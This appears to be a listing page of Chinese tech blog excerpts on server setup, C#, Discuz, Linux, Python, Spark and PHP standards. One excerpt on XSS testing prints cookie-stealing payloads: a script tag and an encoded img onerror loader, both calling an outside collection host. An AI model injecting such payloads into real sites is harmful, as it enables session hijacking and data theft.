文件目录

在centos6上实现LAMP的FPM模式

不羁的心 提交于 2020-03-15 06:34:19
原理    http 使用一次编译法编译安装, php 独立服务fpm实现。 软件版本   在本次实验中,我们需要用到的软件版本如下:    apr-1.6.2    apr-util-1.6.0    httpd-2.4.28    mariadb-5.5.57    php-5.6.31    wordpress-4.8.1   ----博客搭建软件    xcache-3.2.0   ----加速软件   我们先用 rz 命令把所有的安装包上传至 /root/src 目录下,以方便我们的实验。   所有的安装包全部在官网下载,下面附上网址:   httpd官网:http://httpd.apache.org/   apr官网:http://apr.apache.org/   mariadb官网:http://mariadb.org/   php官网:http://php.net/   wordpress官网:https://cn.wordpress.org/   xcache官网:http://xcache.lighttpd.net/ 实验前准备   提前安装好软件包组及其相关的包: yum groupinstall "development tools" -y yum install openssl-devel \ expat-devel \ pcre-devel \

Ubuntu14 vsftp 的安装和虚拟用户配置

。_饼干妹妹 提交于 2020-03-15 06:22:55
一、介绍 FTP 是 File Transfer Protocol (文件传输协议)的缩写 ,在 Unix/Linux 系统中常用的免费 FTP 服务器软件主要是 VSFTP,vsftp的官方地址:http://vsftpd.beasts.org 1. FTP 的工作模式 FTP工作时会开两个端口,一个命令端口(TCP:21),一个数据端口(TCP:20) 1.主动模式 (Active FTP) 服务器主动连接客户端 FTP 客户端随机开启一个大于1024 的端口 N 向服务器的 21 号端口发起连接,然后开放 N+1 号端口进行监听,并向服务器发出PORT N+1 命令。服务器接收到命令后,会用其本地的 FTP 数据端口(通常是 20 )来连接客户端指定的端口 N+1 ,进行数据传输 通道 client server 命令控制 1088 ------> 21 数据传输 1089 <------ 20 2. 被动模式(Passive FTP) 客户端主动链接服务器端 FTP 客户端随机开启一个大于1024 的端口 N 向服务器的 21 号端口发起连接,同时会开启 N+1 号端口。然后向服务器发送PASV 命令,通知服务器自己处于被动模式。服务器收到命令后,会开放一个大于 1024 的端口 P 进行监听,然后用 PORT P 命令通知客户端,自己的数据端口是 P 。客户端收到命令后

C# 文件操作

不羁岁月 提交于 2020-03-15 05:30:20
C# 文件操作 By feng1725 发表于 2006-4-19 23:35:00 文件操作: 检查 创建 读取 写入 修改 删除 目录操作: 检查 创建 读取 写入 修改 删除 -------------------------------------------------------------------------------- 文件操作 若要执行此操作... 请参阅本主题中的示例... 创建文本文件 向文件写入文本 写入文本文件 向文件写入文本 读取文本文件 从文件读取文本 向文件中追加文本 File.AppendText FileInfo.AppendText 重命名或移动文件 File.Move FileInfo.MoveTo 删除文件 File.Delete FileInfo.Delete 复制文件 File.Copy FileInfo.CopyTo 获取文件大小 FileInfo.Length 获取文件属性 File.GetAttributes 设置文件属性 File.SetAttributes 确定文件是否存在 File.Exists 读取二进制文件 对刚创建的数据文件进行读取和写入 写入二进制文件 对刚创建的数据文件进行读取和写入 检索文件扩展名 Path.GetExtension 检索文件的完全限定路径 Path.GetFullPath

Discuz二次开发基本知识

喜你入骨 提交于 2020-03-15 04:13:56
一) Discuz!的文件系统目录 注:想搞DZ开发,就得弄懂DZ中每个文件的功能。 a) Admin:后台管理功能模块 b) Api:DZ系统与其它系统之间接口程序 c) Archiver:DZ中,用以搜索引擎优化的无图版 d) Attachments:DZ中 ,用户上传附件的存放目录 e) Customavatars:DZ中,用户自定义头像的目录 f) Forumdata:DZ缓存数据的存放目录 g) Images:DZ模板中的图片存放目录 h) Include:DZ常用函数库,基本功能模块目录 i) Ipdata:DZ统计IP来路用的数据 j) Plugins:DZ插件信息的存放目录 k) Templates:DZ模板文件的存放目录 l) Wap:DZ无线,Wap程序处理目录 二) 必须记熟Discuz!数据库设计的每个表的功能,每个表中每个字段的功能。 关于DZ数据库设计文档,请参阅DZ相关的项目文档(请从本贴附件中下载) 三) Discuz!的流程控制 a)后台流程控:DZ后台所有的功能,均需要注册到admincp.php文件,每个功能都至少有一个或一个以上的Action(动作),在 admincp.php中,可以定义Action的执行权限,分别为:“admin==1”管理员,或“admin==2 ||admin==3”超级版主和版主,每个Action对应一个脚本文件

20145304 《信息安全系统设计基础》第1周学习总结

我是研究僧i 提交于 2020-03-15 04:06:47
20145304 《信息安全系统设计基础》第1周学习总结 教材学习内容总结 Linux可以只用键盘完成一切操作,较为安全。 相对于现在的 Windows 系统,UNIX/Linux 本身是没有图形界面的,我们通常在 Unix/Linux 发行版上看到的图形界面实际都只是运行在 Linux 系统之上的一套软件。 Linux命令 :command [options] [arguments] Linux 默认提供了 6 个纯命令行界面的 “terminal”(准确的说这里应该是 6 个 virtual consoles)来让用户登录,在物理机系统上你可以通过使用[Ctrl]+[Alt]+[F1]~[F6]进行切换。当你切换到其中一个终端后想要切换回图形界面,你可以按下[Ctrl]+[Alt]+[F7]来完成。 Shell 是指“提供给使用者使用界面”的软件(命令解析器),它隐藏了操作系统底层的细节。 Tab键来进行命令补全、补全目录、补全命令参数;Ctrl+c键来强行终止当前程序。 通配符是一种特殊语句,主要有星号(*)和问号(?),用来对对字符串进行模糊匹配(比如文件名,参数名)。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。 - man 命令调用手册页,man 中使用搜索,/

N44班第二周作业

[亡魂溺海] 提交于 2020-03-15 02:39:52
1、描述Linux发行版的系统目录名称命名规则以及用途。 系统目录名称命名规则: a、遵循FHS(Filesystem Hierarchy Standard)标准     b、严格区分大小写     c、目录也是文件,在同一路径下,两个文件不能同名     d、支持使用除 / 以外的任意字符     e、最长字符不能超过255个字符 linux文件系统中各目录的作用简介: /boot 系统启动引导文件存放目录。内核文件以及引导加载器都存放在此目录下; /bin 存放所有用户使用的基本命令,该目录不能独立分区,OS在启动时会使用到该目录下的文件; /sbin 存放管理类的基本命令,该目录不能独立分区,OS在启动时会使用到该目录下的文件; /lib 存放系统启动时程序依赖的基本共享文件以及内核模块文件;还有个目录叫(lib64),他是专用于X86_64系 统上的辅助共享库文件存放的位置; /etc 配置文件目录; /home 普通用户的家目录 /root 管理员用户的家目录 /media 便携式移动设备挂载点 /mnt 临时文件系统挂载点 /dev 设备文件及特殊文件存储位置 /opt 第三方应用程序的安装位置 /srv 系统上运行的服务用到的数据 /tmp 临时文件存储位置 2、描述文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息? a

模块与包

僤鯓⒐⒋嵵緔 提交于 2020-03-15 01:05:21
一 模块介绍 1、什么是模块? #常见的场景:一个模块就是一个包含了一组功能的python文件,比如spam.py,模块名为spam,可以通过import spam使用。 #在python中,模块的使用方式都是一样的,但其实细说的话,模块可以分为四个通用类别:  使用python编写的.py文件 已被编译为共享库或DLL的C或C++扩展 把一系列模块组织到一起的文件夹(注:文件夹下有一个__init__.py文件,该文件夹称之为包) 使用C编写并链接到python解释器的内置模块 2、为何要使用模块? #1、从文件级别组织程序,更方便管理 随着程序的发展,功能越来越多,为了方便管理,我们通常将程序分成一个个的文件,这样做程序的结构更清晰,方便管理。这时我们不仅仅可以把这些文件当做脚本去执行,还可以把他们当做模块来导入到其他的模块中,实现了功能的重复利用 #2、拿来主义,提升开发效率 同样的原理,我们也可以下载别人写好的模块然后导入到自己的项目中使用,这种拿来主义,可以极大地提升我们的开发效率 #ps: 如果你退出python解释器然后重新进入,那么你之前定义的函数或者变量都将丢失,因此我们通常将程序写到文件中以便永久保存下来,需要时就通过python test.py方式去执行,此时test.py被称为脚本script。 3、以spam.py为例来介绍模块的使用: 文件名spam

xss之渗透测试

一世执手 提交于 2020-03-14 23:10:52
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式,很多人对于xss的利用大多停留在弹框框的程度,一些厂商对xss也是不以为然,都认为安全级别很低,甚至忽略不计,本文旨在讲述关于跨站脚本攻击的利用方式,并结合实例进行分析。 我们构造的获取cookie的xss脚本代码,已经成功的提交到了网站后台。 代码: </textarea>'"><script src=http://x.imlonghao.com/3E3nja?1371821300></script> 或者 </textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fx.imlonghao.com%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName

Spark配置参数

ぐ巨炮叔叔 提交于 2020-03-14 21:37:56
以下是整理的Spark中的一些配置参数,官方文档请参考 Spark Configuration 。 Spark提供三个位置用来配置系统: Spark属性:控制大部分的应用程序参数,可以用SparkConf对象或者Java系统属性设置 环境变量:可以通过每个节点的 conf/spark-env.sh 脚本设置。例如IP地址、端口等信息 日志配置:可以通过log4j.properties配置 Spark属性 Spark属性控制大部分的应用程序设置,并且为每个应用程序分别配置它。这些属性可以直接在 SparkConf 上配置,然后传递给 SparkContext 。 SparkConf 允许你配置一些通用的属性(如master URL、应用程序名称等等)以及通过 set() 方法设置的任意键值对。例如,我们可以用如下方式创建一个拥有两个线程的应用程序。 val conf = new SparkConf() .setMaster("local[2]") .setAppName("CountingSheep") .set("spark.executor.memory", "1g") val sc = new SparkContext(conf) 动态加载Spark属性 在一些情况下,你可能想在 SparkConf 中避免硬编码确定的配置。例如

php代码规范

两盒软妹~` 提交于 2020-03-14 19:20:55
1 编写目的 为了更好的提高技术部的工作效率,保证开发的有效性和合理性,并可最大程度的提高程序代码的可读性和可重复利用性,指定此规范。开发团队根据自己的实际情况,可以对本规范进行补充或裁减。 2 整体要求 技术部php开发规范将参照PEAR的规范,基本采用PEAR指定的规范,在其基础上增加、修改或删除部分适合具体开发环境的规范。本规范只针对PHP开发过程中编码的规范,对于PHP开发项目中文件、目录、数据库等方面的规范,将不重点涉及。 本规范包含了PHP开发时程序编码中命名规范、代码缩进规则、控制结构、函数调用、函数定义、注释、包含代码、PHP标记、文件头的注释块、CVS标记、URL样例、常量命名等方面的规则。 3 安全规范 3.1 包含文件 3.1.1 命名规则 提取出来具有通用函数的包含文件,文件后缀以.inc来命名,表明这是一个包含文件。 如果有多个.inc文件需要包含多页面,请把所有.inc文件封装在一个文件里面,具体到页面只需要包换一个.inc文件就可以了 如:xxx_session.inc xxx_comm..inc xxx_setting.inc mysql_db.inc 3.2 安全规则 请参考产品安全检查表。 输入和输出 检查是否做了HTML代码的过滤 可能出现的问题:如果有人输入恶意的HTML代码,会导致窃取cookie, 产生恶意登录表单,和破坏网站